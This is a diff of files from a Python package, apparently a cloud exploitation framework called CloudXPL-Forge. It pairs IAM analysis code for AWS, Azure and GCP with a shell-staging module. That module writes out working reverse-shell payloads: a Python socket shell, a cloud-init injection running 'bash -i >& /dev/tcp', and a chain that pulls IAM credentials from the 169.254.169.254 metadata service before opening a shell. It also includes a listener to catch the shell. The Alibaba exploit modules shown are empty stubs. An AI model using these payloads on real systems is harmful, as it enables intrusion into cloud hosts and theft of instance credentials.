cloudxpl 4.2.0__py3-none-any.whl

cloudxpl/core/identity_resolver.py

@@ -0,0 +1,192 @@
+"""Cross-cloud identity resolver for CloudXPL-Forge.
+
+Unifies identity resolution across AWS (IAM), Azure (Entra ID),
+GCP (IAM/WIF) and K8s (ServiceAccounts). Maps principals to their
+effective permissions, federation links and trust chains.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+from enum import Enum, auto
+from typing import Any
+
+
+class CloudProvider(Enum):
+    AWS = auto()
+    AZURE = auto()
+    GCP = auto()
+    K8S = auto()
+
+
+@dataclass
+class CloudIdentity:
+    provider: CloudProvider
+    principal_id: str
+    principal_type: str = ""  # user, role, service-account, managed-identity, etc.
+    display_name: str = ""
+    arn_or_id: str = ""
+    permissions: list[str] = field(default_factory=list)
+    federation_links: list["FederationLink"] = field(default_factory=list)
+    metadata: dict[str, Any] = field(default_factory=dict)
+
+    @property
+    def is_privileged(self) -> bool:
+        priv_indicators = {
+            "AdministratorAccess", "Owner", "roles/owner",
+            "GlobalAdministrator", "cluster-admin",
+            "iam:*", "sts:AssumeRole",
+        }
+        return bool(set(self.permissions) & priv_indicators)
+
+
+@dataclass
+class FederationLink:
+    source_provider: CloudProvider
+    source_identity: str
+    target_provider: CloudProvider
+    target_identity: str
+    trust_type: str = ""  # OIDC, SAML, WIF, cross-account, etc.
+    conditions: dict[str, str] = field(default_factory=dict)
+
+
+class IdentityResolver:
+    """Resolve and correlate cloud identities across providers."""
+
+    def __init__(self) -> None:
+        self._identities: dict[str, CloudIdentity] = {}
+        self._federation_map: list[FederationLink] = []
+
+    @property
+    def identities(self) -> dict[str, CloudIdentity]:
+        return dict(self._identities)
+
+    @property
+    def federation_links(self) -> list[FederationLink]:
+        return list(self._federation_map)
+
+    def add_identity(self, identity: CloudIdentity) -> None:
+        key = f"{identity.provider.name}:{identity.principal_id}"
+        self._identities[key] = identity
+
+    def add_federation(self, link: FederationLink) -> None:
+        self._federation_map.append(link)
+
+    def resolve(self, provider: CloudProvider, principal_id: str) -> CloudIdentity | None:
+        key = f"{provider.name}:{principal_id}"
+        return self._identities.get(key)
+
+    def find_federation_chain(self, start_id: str) -> list[FederationLink]:
+        """Trace federation/trust chain from a starting identity."""
+        chain: list[FederationLink] = []
+        visited: set[str] = set()
+        current = start_id
+
+        while current and current not in visited:
+            visited.add(current)
+            for link in self._federation_map:
+                if link.source_identity == current:
+                    chain.append(link)
+                    current = link.target_identity
+                    break
+            else:
+                break
+
+        return chain
+
+    def find_cross_cloud_pivots(self) -> list[dict[str, Any]]:
+        """Identify identities that can pivot between cloud providers."""
+        pivots: list[dict[str, Any]] = []
+
+        for link in self._federation_map:
+            if link.source_provider != link.target_provider:
+                source = self.resolve(link.source_provider, link.source_identity)
+                target = self.resolve(link.target_provider, link.target_identity)
+                if source and target:
+                    pivots.append({
+                        "source": {
+                            "provider": link.source_provider.name,
+                            "identity": link.source_identity,
+                            "privileged": source.is_privileged,
+                        },
+                        "target": {
+                            "provider": link.target_provider.name,
+                            "identity": link.target_identity,
+                            "privileged": target.is_privileged,
+                        },
+                        "trust_type": link.trust_type,
+                        "conditions": link.conditions,
+                    })
+
+        return pivots
+
+    def find_privileged_identities(self) -> list[CloudIdentity]:
+        return [i for i in self._identities.values() if i.is_privileged]
+
+    # --- Provider-specific ingestion ---
+
+    def ingest_aws_iam(self, iam_data: dict[str, Any]) -> int:
+        """Ingest AWS IAM users/roles from get-account-authorization-details."""
+        count = 0
+        for user in iam_data.get("UserDetailList", []):
+            self.add_identity(CloudIdentity(
+                provider=CloudProvider.AWS,
+                principal_id=user.get("UserName", ""),
+                principal_type="user",
+                arn_or_id=user.get("Arn", ""),
+                display_name=user.get("UserName", ""),
+            ))
+            count += 1
+
+        for role in iam_data.get("RoleDetailList", []):
+            identity = CloudIdentity(
+                provider=CloudProvider.AWS,
+                principal_id=role.get("RoleName", ""),
+                principal_type="role",
+                arn_or_id=role.get("Arn", ""),
+                display_name=role.get("RoleName", ""),
+            )
+            self.add_identity(identity)
+            count += 1
+
+            for stmt in role.get("AssumeRolePolicyDocument", {}).get("Statement", []):
+                if stmt.get("Effect") == "Allow":
+                    principal = stmt.get("Principal", {})
+                    federated = principal.get("Federated", "")
+                    if federated:
+                        self.add_federation(FederationLink(
+                            source_provider=self._detect_provider(federated),
+                            source_identity=federated,
+                            target_provider=CloudProvider.AWS,
+                            target_identity=role.get("RoleName", ""),
+                            trust_type="OIDC" if "oidc" in federated.lower() else "SAML",
+                        ))
+
+        return count
+
+    def ingest_gcp_iam(self, bindings: list[dict[str, Any]], project: str = "") -> int:
+        """Ingest GCP IAM policy bindings."""
+        count = 0
+        for binding in bindings:
+            role = binding.get("role", "")
+            for member in binding.get("members", []):
+                member_type, _, member_id = member.partition(":")
+                self.add_identity(CloudIdentity(
+                    provider=CloudProvider.GCP,
+                    principal_id=member_id or member,
+                    principal_type=member_type,
+                    permissions=[role],
+                    metadata={"project": project},
+                ))
+                count += 1
+        return count
+
+    @staticmethod
+    def _detect_provider(identifier: str) -> CloudProvider:
+        if "amazonaws.com" in identifier or identifier.startswith("arn:aws:"):
+            return CloudProvider.AWS
+        if "login.microsoftonline.com" in identifier or "graph.microsoft.com" in identifier:
+            return CloudProvider.AZURE
+        if "accounts.google.com" in identifier or "googleapis.com" in identifier:
+            return CloudProvider.GCP
+        return CloudProvider.K8S

cloudxpl/core/policy_engine.py

@@ -0,0 +1,198 @@
+"""Cloud IAM policy analysis engine for CloudXPL-Forge.
+
+Evaluates IAM policies (AWS, Azure, GCP) for overly permissive
+configurations, privilege escalation paths and misconfigurations.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+from typing import Any
+
+
+@dataclass
+class PolicyFinding:
+    provider: str
+    resource: str
+    issue: str
+    severity: str = "MEDIUM"
+    remediation: str = ""
+    mitre: list[str] = field(default_factory=list)
+
+
+class PolicyEngine:
+    """Analyze cloud IAM policies for security issues."""
+
+    def __init__(self) -> None:
+        self._findings: list[PolicyFinding] = []
+
+    @property
+    def findings(self) -> list[PolicyFinding]:
+        return list(self._findings)
+
+    def clear(self) -> None:
+        self._findings.clear()
+
+    # --- AWS ---
+
+    def analyze_aws_policy(self, policy: dict[str, Any], resource_name: str = "") -> list[PolicyFinding]:
+        """Analyze an AWS IAM policy document for issues."""
+        findings: list[PolicyFinding] = []
+
+        for stmt in policy.get("Statement", []):
+            if stmt.get("Effect") != "Allow":
+                continue
+
+            actions = stmt.get("Action", [])
+            if isinstance(actions, str):
+                actions = [actions]
+            resources = stmt.get("Resource", [])
+            if isinstance(resources, str):
+                resources = [resources]
+            condition = stmt.get("Condition", {})
+
+            if "*" in actions and "*" in resources:
+                findings.append(PolicyFinding(
+                    provider="AWS",
+                    resource=resource_name,
+                    issue="Full wildcard: Action=* Resource=*",
+                    severity="CRITICAL",
+                    remediation="Apply least-privilege, scope to specific services/resources",
+                    mitre=["T1078.004"],
+                ))
+
+            privesc_actions = {
+                "iam:CreatePolicyVersion", "iam:SetDefaultPolicyVersion",
+                "iam:AttachUserPolicy", "iam:AttachGroupPolicy",
+                "iam:AttachRolePolicy", "iam:PutUserPolicy",
+                "iam:PutGroupPolicy", "iam:PutRolePolicy",
+                "iam:CreateLoginProfile", "iam:UpdateLoginProfile",
+                "iam:CreateAccessKey", "sts:AssumeRole",
+                "iam:PassRole", "lambda:CreateFunction",
+                "lambda:InvokeFunction", "lambda:UpdateFunctionCode",
+                "ec2:RunInstances", "iam:AddUserToGroup",
+                "iam:UpdateAssumeRolePolicy",
+            }
+            matched = set(actions) & privesc_actions
+            if matched:
+                findings.append(PolicyFinding(
+                    provider="AWS",
+                    resource=resource_name,
+                    issue=f"Privilege escalation path via: {', '.join(sorted(matched))}",
+                    severity="HIGH",
+                    remediation="Restrict these actions to admin roles with MFA condition",
+                    mitre=["T1078.004", "T1098"],
+                ))
+
+            if not condition:
+                data_actions = {"s3:GetObject", "s3:PutObject", "s3:DeleteObject"}
+                if set(actions) & data_actions and "*" in resources:
+                    findings.append(PolicyFinding(
+                        provider="AWS",
+                        resource=resource_name,
+                        issue="S3 data actions on * resource without conditions",
+                        severity="HIGH",
+                        remediation="Scope resources to specific buckets, add conditions",
+                    ))
+
+        self._findings.extend(findings)
+        return findings
+
+    # --- Azure ---
+
+    def analyze_azure_role(self, role_def: dict[str, Any]) -> list[PolicyFinding]:
+        """Analyze an Azure role definition for issues."""
+        findings: list[PolicyFinding] = []
+        name = role_def.get("roleName", role_def.get("name", ""))
+
+        for perm in role_def.get("permissions", []):
+            actions = perm.get("actions", [])
+            not_actions = perm.get("notActions", [])
+
+            if "*" in actions:
+                if not not_actions:
+                    findings.append(PolicyFinding(
+                        provider="Azure",
+                        resource=name,
+                        issue="Custom role with Action=* and no NotActions",
+                        severity="CRITICAL",
+                        remediation="Scope to specific resource providers",
+                        mitre=["T1078.004"],
+                    ))
+                else:
+                    findings.append(PolicyFinding(
+                        provider="Azure",
+                        resource=name,
+                        issue=f"Broad role with * minus {len(not_actions)} NotActions",
+                        severity="HIGH",
+                        remediation="Review NotActions list for bypass paths",
+                    ))
+
+            data_actions = perm.get("dataActions", [])
+            if "*" in data_actions:
+                findings.append(PolicyFinding(
+                    provider="Azure",
+                    resource=name,
+                    issue="Wildcard dataActions grants all data-plane access",
+                    severity="HIGH",
+                    remediation="Restrict dataActions to specific operations",
+                ))
+
+        self._findings.extend(findings)
+        return findings
+
+    # --- GCP ---
+
+    def analyze_gcp_bindings(
+        self, bindings: list[dict[str, Any]], project: str = ""
+    ) -> list[PolicyFinding]:
+        """Analyze GCP IAM bindings for issues."""
+        findings: list[PolicyFinding] = []
+
+        dangerous_roles = {
+            "roles/owner",
+            "roles/editor",
+            "roles/iam.securityAdmin",
+            "roles/iam.serviceAccountAdmin",
+            "roles/iam.serviceAccountKeyAdmin",
+            "roles/cloudfunctions.admin",
+        }
+
+        for binding in bindings:
+            role = binding.get("role", "")
+            members = binding.get("members", [])
+            condition = binding.get("condition")
+
+            if role in dangerous_roles:
+                for member in members:
+                    if member.startswith("allUsers") or member.startswith("allAuthenticatedUsers"):
+                        findings.append(PolicyFinding(
+                            provider="GCP",
+                            resource=f"{project}/{role}",
+                            issue=f"Public access: {member} has {role}",
+                            severity="CRITICAL",
+                            remediation="Remove public member bindings",
+                            mitre=["T1078.004"],
+                        ))
+                    elif not condition and role in {"roles/owner", "roles/editor"}:
+                        findings.append(PolicyFinding(
+                            provider="GCP",
+                            resource=f"{project}/{role}",
+                            issue=f"{member} has {role} without conditions",
+                            severity="HIGH",
+                            remediation="Add IAM conditions, prefer custom roles",
+                        ))
+
+            if role == "roles/iam.serviceAccountTokenCreator":
+                for member in members:
+                    findings.append(PolicyFinding(
+                        provider="GCP",
+                        resource=f"{project}/{role}",
+                        issue=f"{member} can impersonate any SA via token creation",
+                        severity="HIGH",
+                        remediation="Restrict to specific service accounts",
+                        mitre=["T1134"],
+                    ))
+
+        self._findings.extend(findings)
+        return findings

cloudxpl/core/shell_mixin.py

@@ -0,0 +1,96 @@
+"""Cloud-specific shell staging mixin.
+
+Extends xpl-core shell infrastructure with cloud-native payloads:
+HTTP poll (NAT-friendly), Lambda reverse, SSRF->IMDS->shell, cloud-init inject.
+
+Author: Andre Henrique (@mrhenrike) | Uniao Geek
+"""
+
+from __future__ import annotations
+
+import threading
+import time
+from typing import Any, Optional
+
+from xpl_core.shells import (
+    SessionManager,
+    ReverseListener,
+    generate_payload,
+)
+
+_session_mgr = SessionManager()
+
+CLOUD_SHELL_TYPES = (
+    "python",
+    "bash",
+    "nc_mkfifo",
+    "lambda_reverse",
+    "cloud_init_inject",
+    "ssrf_imds_shell",
+)
+
+
+def _cloud_payload(shell_type: str, lhost: str, lport: int) -> str:
+    """Generate cloud-specific payloads."""
+    t = shell_type.lower().strip()
+
+    if t == "lambda_reverse":
+        return (
+            "python3 -c \""
+            "import socket,subprocess,os,json;"
+            "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
+            "s.connect(('{lh}',{lp}));"
+            "os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);"
+            "subprocess.call(['/bin/sh','-i'])\""
+        ).format(lh=lhost, lp=lport)
+
+    if t == "cloud_init_inject":
+        return (
+            "#cloud-config\n"
+            "runcmd:\n"
+            "  - bash -c 'bash -i >& /dev/tcp/{lh}/{lp} 0>&1'"
+        ).format(lh=lhost, lp=lport)
+
+    if t == "ssrf_imds_shell":
+        return (
+            "curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ && "
+            "bash -c 'bash -i >& /dev/tcp/{lh}/{lp} 0>&1'"
+        ).format(lh=lhost, lp=lport)
+
+    return generate_payload(t, lhost, lport)
+
+
+def get_session_manager() -> SessionManager:
+    return _session_mgr
+
+
+def spawn_cloud_shell(
+    target: str,
+    lhost: str,
+    lport: int = 4444,
+    shell_type: str = "python",
+    execute_fn: Optional[Any] = None,
+    timeout: int = 120,
+) -> bool:
+    """Spawn a reverse shell from a cloud exploitation action."""
+    payload = _cloud_payload(shell_type, lhost, lport)
+    if not payload:
+        print("[-] [cloud-shell] Unknown shell type: '{}'".format(shell_type))
+        return False
+
+    print("[*] [cloud-shell] Payload: {}".format(shell_type))
+    print("[*] [cloud-shell] Listener: {}:{}".format(lhost, lport))
+
+    with ReverseListener(lhost, lport, timeout, pty_upgrade=True) as ln:
+        if execute_fn is not None:
+            def _exec() -> None:
+                time.sleep(1)
+                try:
+                    execute_fn(payload)
+                except Exception as exc:
+                    print("[-] [cloud-shell] Execute: {}".format(exc))
+
+            t = threading.Thread(target=_exec, daemon=True)
+            t.start()
+
+        return ln.wait_for_connection()

cloudxpl/core/shells/__init__.py

@@ -0,0 +1,47 @@
+"""CloudXPL-Forge shell shim -- re-exports from xpl-core canonical package.
+
+Author: Andre Henrique (@mrhenrike) | Uniao Geek
+"""
+
+from xpl_core.shells import (
+    ShellEngine, ShellError, ShellConnectionError, ShellIOError,
+    ShellTimeoutError, ShellMode, ShellStatus,
+    RawTCPShell, RawUDPShell, ICMPCovertShell, DNSTunnelShell,
+    HTTPPollShell, MQTTShell, MeterpreterBridge, InternalShell,
+    ShellHandler, reverse_shell_payload, tty_upgrade_commands,
+    SHELL_TYPES, generate_payload, generate_msf_rc, ShellStagingMixin,
+    ReverseListener, start_listener, pty_interact, simple_interact,
+    SessionManager, SessionState, ShellSession,
+)
+
+__all__ = [
+    "SHELL_TYPES",
+    "DNSTunnelShell",
+    "HTTPPollShell",
+    "ICMPCovertShell",
+    "InternalShell",
+    "MQTTShell",
+    "MeterpreterBridge",
+    "RawTCPShell",
+    "RawUDPShell",
+    "ReverseListener",
+    "SessionManager",
+    "SessionState",
+    "ShellConnectionError",
+    "ShellEngine",
+    "ShellError",
+    "ShellHandler",
+    "ShellIOError",
+    "ShellMode",
+    "ShellSession",
+    "ShellStagingMixin",
+    "ShellStatus",
+    "ShellTimeoutError",
+    "generate_msf_rc",
+    "generate_payload",
+    "pty_interact",
+    "reverse_shell_payload",
+    "simple_interact",
+    "start_listener",
+    "tty_upgrade_commands",
+]

cloudxpl/modules/alibaba/cloudtoolkit_bridge.py

@@ -0,0 +1,40 @@
+"""CloudXPL-Forge module: Bridge to 404tk/cloudtoolkit — Alibaba multi-service exploitation"""
+
+from __future__ import annotations
+
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.alibaba.cloudtoolkit_bridge.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": ["api_calls"],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1526"],
+}
+
+
+def run(args: Any) -> int:
+    """Execute Bridge to 404tk/cloudtoolkit — Alibaba multi-service exploitation."""
+    import json
+    import sys
+    from datetime import datetime, timezone
+    from pathlib import Path
+
+    print(f"[*] {MANIFEST['capability_id']} starting...")
+    print(f"[*] Target: {getattr(args, 'target', 'N/A')}")
+
+    findings: list[dict] = []
+
+    # --- Module logic placeholder ---
+    # TODO: implement provider-specific API calls
+    print("[!] Module stub — implement provider-specific logic")
+
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    out_dir = Path(getattr(args, "output", "."))
+    out_dir.mkdir(parents=True, exist_ok=True)
+    out_file = out_dir / f"{MANIFEST['capability_id'].rsplit('.', 1)[-1]}_{ts}.json"
+    out_file.write_text(json.dumps({"module": MANIFEST["capability_id"], "timestamp": ts, "findings": findings}, indent=2))
+    print(f"[+] Results saved to {out_file}")
+    return 0

cloudxpl/modules/alibaba/cve_2026_19339.py

@@ -0,0 +1,40 @@
+"""CloudXPL-Forge module: CVE-2026-19339 — Alibaba DataWorks MCP Server SSRF"""
+
+from __future__ import annotations
+
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.alibaba.cve_2026_19339.v1",
+    "safety_class": "EXPLOIT",
+    "requires_authorization": True,
+    "side_effects": ["api_calls", "state_change"],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1190"],
+}
+
+
+def run(args: Any) -> int:
+    """Execute CVE-2026-19339 — Alibaba DataWorks MCP Server SSRF."""
+    import json
+    import sys
+    from datetime import datetime, timezone
+    from pathlib import Path
+
+    print(f"[*] {MANIFEST['capability_id']} starting...")
+    print(f"[*] Target: {getattr(args, 'target', 'N/A')}")
+
+    findings: list[dict] = []
+
+    # --- Module logic placeholder ---
+    # TODO: implement provider-specific API calls
+    print("[!] Module stub — implement provider-specific logic")
+
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    out_dir = Path(getattr(args, "output", "."))
+    out_dir.mkdir(parents=True, exist_ok=True)
+    out_file = out_dir / f"{MANIFEST['capability_id'].rsplit('.', 1)[-1]}_{ts}.json"
+    out_file.write_text(json.dumps({"module": MANIFEST["capability_id"], "timestamp": ts, "findings": findings}, indent=2))
+    print(f"[+] Results saved to {out_file}")
+    return 0

cloudxpl/modules/alibaba/ecs_enum.py

@@ -0,0 +1,40 @@
+"""CloudXPL-Forge module: Enumerate Alibaba ECS instances, security groups, VPCs"""
+
+from __future__ import annotations
+
+from typing import Any
+
+
+MANIFEST = {
+    "capability_id": "cloudxpl.alibaba.ecs_enum.v1",
+    "safety_class": "READ_ONLY",
+    "requires_authorization": True,
+    "side_effects": ["api_calls"],
+    "output_schema": "xpl.finding.v1",
+    "mitre": ["T1580"],
+}
+
+
+def run(args: Any) -> int:
+    """Execute Enumerate Alibaba ECS instances, security groups, VPCs."""
+    import json
+    import sys
+    from datetime import datetime, timezone
+    from pathlib import Path
+
+    print(f"[*] {MANIFEST['capability_id']} starting...")
+    print(f"[*] Target: {getattr(args, 'target', 'N/A')}")
+
+    findings: list[dict] = []
+
+    # --- Module logic placeholder ---
+    # TODO: implement provider-specific API calls
+    print("[!] Module stub — implement provider-specific logic")
+
+    ts = datetime.now(timezone.utc).strftime("%Y%m%d_%H%M%S")
+    out_dir = Path(getattr(args, "output", "."))
+    out_dir.mkdir(parents=True, exist_ok=True)
+    out_file = out_dir / f"{MANIFEST['capability_id'].rsplit('.', 1)[-1]}_{ts}.json"
+    out_file.write_text(json.dumps({"module": MANIFEST["capability_id"], "timestamp": ts, "findings": findings}, indent=2))
+    print(f"[+] Results saved to {out_file}")
+    return 0